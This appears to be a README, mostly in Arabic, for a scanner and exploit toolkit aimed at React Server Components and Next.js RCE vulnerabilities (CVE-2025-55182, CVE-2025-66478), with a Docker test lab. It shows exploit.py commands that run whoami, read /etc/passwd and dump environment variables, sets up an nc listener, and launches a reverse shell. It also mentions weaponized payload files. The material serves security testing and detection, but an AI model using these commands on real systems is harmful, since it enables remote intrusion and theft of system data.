
React2shell-web-scanner
ماسح ثغرات عالي الدقة لـ CVE-2025-55182 وCVE-2025-66478 - ثغرات تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكونات خادم React / Next.js.
📖 للتحليل التقني المفصل وآليات الاستغلال وبيانات مؤشرات الاختراق (IOC)، راجع SECURITY-RESEARCH.md
تُوفَّر هذه الأداة لأغراض التعليم واختبار الأمان المصرَّح به فقط. الوصول غير المصرَّح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأدوات فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| CVE | الوصف | CVSS |
|---|---|---|
| CVE-2025-55182 | ثغرة RCE عبر إلغاء التسلسل غير الآمن في مكونات خادم React | 9.8 حرجة |
| CVE-2025-66478 | ثغرة RCE في إجراءات خادم Next.js | 9.8 حرجة |
الحزم المتأثرة:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0الإصدارات المُصحَّحة:
# No installation needed - uv handles dependencies
uv run react2shell-scanner -u https://example.com
pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com
# Single URL
python3 react2shell-scanner -u https://example.com
# Safe mode (no RCE execution)
python3 react2shell-scanner -u https://example.com --safe-check
# From host file
python3 react2shell-scanner -l targets.txt -t 50 -o results.json
# CIDR range
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000
# Multiple CIDR ranges
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24
# Subdomain enumeration
python3 react2shell-scanner -u example.com --enumerate-subdomains
# Custom subdomain wordlist
python3 react2shell-scanner -u example.com --enumerate-subdomains \
--subdomain-wordlist "app,api,admin,portal,staging"
# Custom paths
python3 react2shell-scanner -u https://example.com \
--path / --path /_next --path /api
# Skip fingerprinting (scan everything)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan
# Verbose with SSL disabled
python3 react2shell-scanner -u https://example.com -k -v
# Upload findings to Phoenix
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--phoenix-config .phoenix.config
# Debug mode (save payloads)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--debug
# Upload all results (not just vulnerabilities)
python3 react2shell-scanner -l targets.txt \
--upload-phoenix \
--all-results
أنشئ ملف .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new
أو استخدم متغيرات البيئة:
export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"
تتضمن الأداة بيئة اختبار قائمة على Docker. راجع Lab-instructions-sample.md للرجوع السريع.
# Start lab
cd test-lab/lab
docker-compose up -d
# Services:
# - Vulnerable: http://localhost:3011
# - Patched: http://localhost:3012
# Test vulnerable instance (safe evidence collection)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e
# Test patched instance
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e
# Run full demo
./test-and-demo.sh --full-demo
⚠️ ملاحظة: أوامر الاستغلال (مثل
exploit.py -c "whoami") تؤدي إلى تنفيذ RCE فعلي. استخدمها فقط على حاويات Docker المحلية لأغراض البحث.
تنفيذ أوامر على الأهداف المعرَّضة للخطر. تتطلب Python 3.11+
cd test-lab
pip3.11 install -r requirements.txt
# Or: pip3.11 install rich-click fake-useragent rich requests
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"
# Application reconnaissance
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Output: /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
# Network information
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"
# Process enumeration
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"
# Get Docker network gateway
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
# Start listener (in another terminal)
nc -lvnp 4444
# Launch reverse shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo
# Available payload types: nc, nc-mkfifo, sh, bash, perl
[VULNERABLE] https://vulnerable.example.com
Status: 307
Detection: rce_arithmetic_check
[IOC MATCH] 93.123.109.247
IP 93.123.109.247 matches known malicious infrastructure
[NEXTJS] https://safe.example.com v15.0.0
[NOT VULN] https://other.example.com
{
"scan_time": "2025-12-08T10:00:00Z",
"scanner": "React2Shell Scanner v2.0",
"cves": ["CVE-2025-55182", "CVE-2025-66478"],
"total_scanned": 100,
"vulnerable_count": 3,
"ioc_matches": 1,
"results": [
{
"target": "https://vulnerable.example.com",
"ip": "203.0.113.50",
"fqdn": "vulnerable.example.com",
"verdict": "VULNERABLE",
"vulnerable": true,
"nextjs_detected": true,
"detection_method": "rce_arithmetic_check"
}
]
}
يتضمن الماسح مؤشرات اختراق (IOC) معروفة من حملات الاستغلال النشطة:
payloads-exploits/iocs.csvpayloads-exploits/weaponized-payloadspayloads-exploits/iocs_patterns.csvيتم الإبلاغ عن التطابقات مع مؤشرات IOC بدرجة خطورة عالية.
| الملف | المحتويات |
|---|---|
iocs.csv | 32 عنوان IP خبيث معروف مع بيانات الموقع الجغرافي |
--safe-check)echo $((41*271))react2shell-scanner-CVE-2025-55182/
├── react2shell-scanner # Main scanner script
├── cve-2025-66478-web-scan # Original scanner reference
├── nuclei-rules # Nuclei template
├── test-and-demo.sh # Test automation
├── README.md # This file
├── SECURITY-RESEARCH.md # Detailed technical analysis
├── Lab-instructions-sample.md # Quick lab testing guide
├── payloads-exploits/
│ ├── iocs.csv # Known malicious IPs
│ ├── iocs_patterns.csv # Extended IOCs (domains, URLs, hashes)
│ ├── weaponized-payloads # Real-world attack payloads
│ └── exploit-2025-55182 # Raw HTTP exploit request
└── test-lab/
├── exploit.py # Exploitation tool
├── lab/
│ ├── docker-compose.yml
│ ├── vulnerable/ # Vulnerable Next.js app
│ └── patched/ # Patched Next.js app
└── packages/
├── vulnerable/ # Vulnerable npm packages
└── patched/ # Patched npm packages
| المستودع | الغرض |
|---|---|
| react2shell-scanner-CVE-2025-55182 | المختبرات والماسح وأدوات الاستغلال (هذا المستودع) |
| react2shell-scanner-rce-react-next | ماسح كامل بواجهة ويب |
تُوفَّر هذه الأداة لاختبار الأمان المصرَّح به فقط. يجب أن يكون لديك إذن كتابي صريح قبل فحص أي هدف. قد يُعد الفحص غير المصرَّح به انتهاكًا لقوانين جرائم الكمبيوتر.
استخدمها بمسؤولية:
مقدَّم لك من باحثين أمنيين يعملون على جعل الويب أكثر أمانًا.
| الخيار | الوصف |
|---|
-u, --url | عنوان URL المستهدف (مطلوب) |
-c, --cmd | الأمر المطلوب تنفيذه |
-r, --reverse | تفعيل وضع القشرة العكسية |
-l, --lhost | مضيف المستمع للقشرة العكسية |
-p, --lport | منفذ المستمع للقشرة العكسية |
-P, --payload | نوع الحمولة: nc, nc-mkfifo, sh, bash, perl |
--timeout | مهلة الطلب (الافتراضي: 10 ثوانٍ) |
iocs_patterns.csv | مؤشرات IOC موسّعة: نطاقات C2 وعناوين URL للمُحمِّلات وتجزئات برمجيات خبيثة ومحافظ Monero |
weaponized-payloads | حمولات هجوم من العالم الحقيقي رُصدت في استغلال نشط |
exploit-2025-55182 | صيغة طلب HTTP الخام لاستغلال الثغرة |